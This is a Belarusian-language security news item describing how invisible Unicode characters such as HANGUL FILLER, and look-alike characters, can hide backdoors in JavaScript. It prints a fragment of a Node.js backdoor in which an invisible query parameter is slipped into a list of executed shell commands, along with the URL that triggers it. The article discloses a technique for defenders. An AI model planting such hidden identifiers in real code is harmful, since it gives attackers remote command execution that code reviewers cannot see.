Ужыванне нябачных unicode-знакаў для ўтойвання дзеянняў у JavaScript-кодзе

Следам за метадам нападу Trojan Source, заснаваным на ўжыванні Unicode-знакаў, якія змяняюць парадак адлюстравання двунакіраванага тэксту, апублікаваная яшчэ адна тэхніка ўкаранення ўтоеных дзеянняў, якая ўжываецца для кода на мове JavaScript. Новы метад грунтуецца на ўжыванні unicode-знака "ㅤ" (код 0x3164, "HANGUL FILLER"), які адносіцца да разраду літар, але не мае бачнага змесціва. Unicode-катэгорыя, у якую ўваходзіць дадзены сімвал, дазволена пачынальна са спецыфікацыі ECMAScript 2015 для выкарыстання ў імёнах зменных JavaScript, што дае магчымасць ствараць нябачныя зменныя ці новыя зменныя, не адрозныя ад іншых зменных у папулярных рэдактарах кода, такіх як Notepad++ і VS Code.

У якасці прыкладу прыводзіцца код для платформы Node.js, у якім пры дапамозе зменнай, якая складаецца з аднаго знака «ㅤ», утоены бэкдор, які дазваляе выканаць паказаны зламыснікам код: app.get('/network_health', async (req, res) = > { const { timeout,ㅤ} = req.query; // на справе пазначана "const { timeout,ㅤ \u3164}" const checkCommands = [ 'ping -c 1 google.com', 'curl -s http:// example.com/',ㅤ // пасля коскі варта сімвал \u3164];

На першы погляд праз вонкавы параметр перадаецца толькі значэнне timeout, а масіў з выкананымі камандамі ўтрымоўвае бяскрыўдны фіксаваны спіс. Але на справе пасля зменнай timeout прысвойваецца значэнне яшчэ адной нябачнай зменнай з кодам знака \u3164, якая таксама падстаўлена ў масіў выкананых каманд. Такім чынам, пры наяўнасці падобнай канструкцыі для актывацыі бэкдора і выкананні свайго кода атакавалы можа адправіць запыт выгляду «https://host:8080/network_health?%E3%85%A4=каманда».

У якасці яшчэ аднаго прыкладу прыводзіцца сімвал «ǃ» (ALVEOLAR CLICK), які можа выкарыстоўвацца для стварэння бачнасці ўказанні клічніка. Напрыклад, выраз "if(environmentǃ=ENV_PROD){" пры выкананні ў Node.js 14 заўсёды будзе сапраўдным, бо ў ім ажыццяўляецца не праверка адрознення, а прысваенне зменнай "environmentǃ" значэнні ENV_PROD. Сярод тых, хто ўводзіць у зман unicode-знакаў, таксама адзначаюцца «/», «−», «+», «⩵», «❨», «⫽», «꓿» і «∗».

Крыніца: opennet.ru

Дадаць каментар